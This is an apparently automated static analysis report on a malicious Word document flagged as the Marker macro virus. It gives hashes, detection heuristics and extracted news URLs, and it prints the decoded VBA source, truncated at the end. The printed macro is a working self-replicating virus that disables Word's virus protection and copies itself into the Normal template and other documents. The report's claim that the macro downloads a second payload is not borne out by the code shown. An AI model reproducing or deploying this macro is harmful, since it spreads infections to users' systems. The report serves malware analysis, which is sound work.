Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5fdf9e0d04d6e2de…

MALICIOUS

Office (OLE)

62.0 KB Created: 2002-12-09 13:26:00 Authoring application: Microsoft Word 11.0 First seen: 2019-08-04
MD5: 75301ed63961bcbe85de86eaf6ca4292 SHA-1: 26ff8a75e928c4f1f0f45e9e66145910319276f5 SHA-256: 5fdf9e0d04d6e2dee08ace31765ee01b40a0a58d9950dd86fc21bb85a04957b0
182 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is identified as malicious by ClamAV, with critical heuristics indicating the presence of VBA macros and a Document_Open macro. The VBA macro code, though partially truncated, suggests an intent to execute arbitrary code, likely to download and execute a secondary payload. The embedded URLs are confirmed benign, and the document body content does not provide direct malicious instructions, but the presence of the Document_Open macro and the ClamAV detections strongly indicate malicious intent.

Heuristics 4

  • ClamAV: Doc.Trojan.Marker-40 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Marker-40
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.ptb.be/nouvelles/article/bruxelles-zone-de-guerre.html In document text (OLE body)
    • http://www.tbx.be/fr/Dossier/168/app.rvbIn document text (OLE body)
    • http://fr.wikipedia.org/wiki/Senne_%28rivi%C3%A8re%29In document text (OLE body)
    • http://fr.wikipedia.org/wiki/Les_fous_de_la_SenneIn document text (OLE body)
    • http://archives.lesoir.be/un-an-apres-les-emeutes-de-cureghem-un-quartier-entre-c_t-19981107-Z0FZVA.htmlIn document text (OLE body)
    • http://archives.lesoir.be/plongee-a-cureghem-zone-de-non-droit-vraiment-_t-20100202-00T4Y6.htmlIn document text (OLE body)
    • http://archives.lesoir.be/plongee-a-cureghem-zone-de-%AB-non-droit-%BB-vraiment-_t-20100202-00T4Y6.htmlIn document text (OLE body)
    • http://archives.lesoir.be/pourquoi-cureghem-est-toujours-aux-urgences_t-20080402-00FHLF.htmlIn document text (OLE body)
    • http://archives.lesoir.be/criminalite-une-organisation-criminelle-demantelee-a_t-20100526-00XA4V.htmlIn document text (OLE body)
    • http://www.lesoir.be/regions/bruxelles/2010-05-25/anderlecht-tolerance-zero-jusqu-a-nouvel-ordre-772273.phpIn document text (OLE body)
    • http://forums.lesoir.be/index.php?showtopic=45430In document text (OLE body)
    • http://www.rtbf.be/info/matin-premiere/la-chronique-de-paul-hermant-184482In document text (OLE body)
    • http://archives.lesoir.be/?action=search&firstHit=0&queryand=cureghem+%E9meutes&queryor=&querynot=&nomau=&prenau=&when=-2&begDay=01&begMonth=01&begYear=1989&endDay=11&endMonth=09&endYear=1998&sort=datedesc&by=10&rub=TOUT&rechercher=lancer+la+recherche#In document text (OLE body)
    • http://archives.lesoir.be/cureghem-veut-soigner-son-imago-les-caves-de-cureghem_t-19981203-Z0G36N.html?queryand=%22grande+%E9cluse%22+bruxelles&firstHit=0&by=10&when=-1&begYear=1989&begMonth=01&begDay=01&endYear=2010&endMonth=09&endDay=08&sort=datedesc&rubIn document text (OLE body)
    • http://archives.lesoir.be/cureghem-veut-soigner-son-imago-les-caves-de-cureghem_t-19981203-Z0G36N.html?queryand=%22grande+%E9cluse%22+bruxelles&firstHit=0&by=10&when=-1&begYear=1989&begMonth=01&begDay=01&endYear=2010&endMonth=09&endDay=08&sort=datedesc&rub=TOUT&pos=7&all=24&nav=1In document text (OLE body)
    • http://www.cairn.info/resume.php?ID_ARTICLE=ASSR_143_0069In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4269 bytes
SHA-256: 9f9447b120ed00b9c4d83724b52e00e31af308a1725ba7a253f75674d8bdeb29
Detection
ClamAV: Doc.Trojan.Marker-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Dim x1, x2, x3, x4 As Boolean
Dim x5, x6 As Object
Dim x7, x8, x16 As Integer
Dim x9 As Date
Dim x10, x11, x12, x13, x14 As String
Const x15 = ":-D you are marked!"
Private Sub Document_Close()
On Error Resume Next
Set x5 = ActiveDocument.VBProject.VBComponents.Item(1)
Set x6 = NormalTemplate.VBProject.VBComponents.Item(1)
x3 = x5.CodeModule.Find(x15, 1, 1, 10000, 10000)
x4 = x6.CodeModule.Find(x15, 1, 1, 10000, 10000)
With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With
x9 = Now()
x7 = Day(x9)
x8 = Month(x9)
If x7 >= 23 And x8 = 7 Then
    Application.Caption = "Happy Birthday Shankar-25th July.The World may Forget but not me"
    x10 = MsgBox("Did You Wish Shankar on his Birthday ?", vbYesNo)
    If x10 = vbYes Then
        MsgBox "Thank You! I Love You. You are wonderfull."
    Else
        MsgBox " You are Heart Less." & vbCrLf & "You Will Be Punished For This", vbCritical
    End If
End If
If x3 = True Then
    x13 = x5.CodeModule.Lines(1, x5.CodeModule.CountOfLines)
ElseIf x4 = True Then
    x13 = x6.CodeModule.Lines(1, x6.CodeModule.CountOfLines)
End If

If (x3 = True Xor x4 = True) And _
   (ActiveDocument.SaveFormat = wdFormatDocument Or _
   ActiveDocument.SaveFormat = wdFormatTemplate) Then

      If x3 = True Then
        x2 = NormalTemplate.Saved
        x11 = x5.CodeModule.Lines(1, x5.CodeModule.CountOfLines)
        x6.CodeModule.DeleteLines 1, x6.CodeModule.CountOfLines
        x6.CodeModule.AddFromString x11
        With Dialogs(wdDialogFileSummaryInfo): .Title = "Are You suprised ?": .Subject = "Birthday ": .Author = "LSK": .Category = "You Are Infected": .Keywords = "Birthday": .Comments = "Shankar's Birthday falls on 25th July.  Don't Forget to wish him": .Execute: End With
        If x2 = True Then NormalTemplate.Save
      End If
    If x4 = True Or ActiveDocument.Saved = False Then
     x1 = ActiveDocument.Saved
     x11 = x6.CodeModule.Lines(1, x6.CodeModule.CountOfLines)
     x5.CodeModule.DeleteLines 1, x5.CodeModule.CountOfLines
     x5.CodeModule.AddFromString x11
     With Dialogs(wdDialogFileSummaryInfo): .Title = "Are You suprised ?": .Subject = "Birthday ": .Author = "LSK": .Category = "You Are Infected": .Keywords = "Birthday": .Comments = "Shankar's Birthday falls on 25th July.  Don't Forget to wish him": .Execute: End With
     If x1 = True Then ActiveDocument.Save
   End If
  
    
End If

End Sub

Private Sub Document_New()
Set x5 = ActiveDocument.VBProject.VBComponents.Item(1)
Set x6 = NormalTemplate.VBProject.VBComponents.Item(1)
x3 = x5.CodeModule.Find(x15, 1, 1, 10000, 10000)
x4 = x6.CodeModule.Find(x15, 1, 1, 10000, 10000)
With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With
If x4 = False Then
    x6.CodeModule.DeleteLines 1, x6.CodeModule.CountOfLines
End If
If x3 = False Then
        x5.CodeModule.DeleteLines 1, x5.CodeModule.CountOfLines
End If

x9 = Now()
x7 = Day(x9)
x8 = Month(x9)
If x7 >= 23 And x8 = 7 Then
With Selection.Font: x16 = .Size: .Size = 72: .ColorIndex = wdGreen: .Animation = wdAnimationSparkleText: Selection.InsertAfter "Happy BirthDay Shankar": Selection.MoveDown Unit:=wdScreen, Count:=2: .Size = x16: .ColorIndex = wdAuto: .Animation = wdAnimationNone: End With
End If
End Sub

Private Sub Document_Open()
Set x5 = ActiveDocument.VBProject.VBComponents.Item(1)
Set x6 = NormalTemplate.VBProject.VBComponents.Item(1)
x3 = x5.CodeModule.Find(x15, 1, 1, 10000, 10000)
x4 = x6.CodeModule.Find(x15, 1, 1, 10000, 10000)
With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With
If x4 = False Then
    x6.CodeModule.DeleteLines 1, x6.CodeModule.CountOfLines
End If
If x3 = False Then
        x5.CodeModule.DeleteLines 1, x5.CodeModule.CountOfLines
End If

x9 = Now()
x7 = Day(x9)
x8 = Month(x9)
If x7 >= 23 And x8 = 7 Then
    x
... (truncated)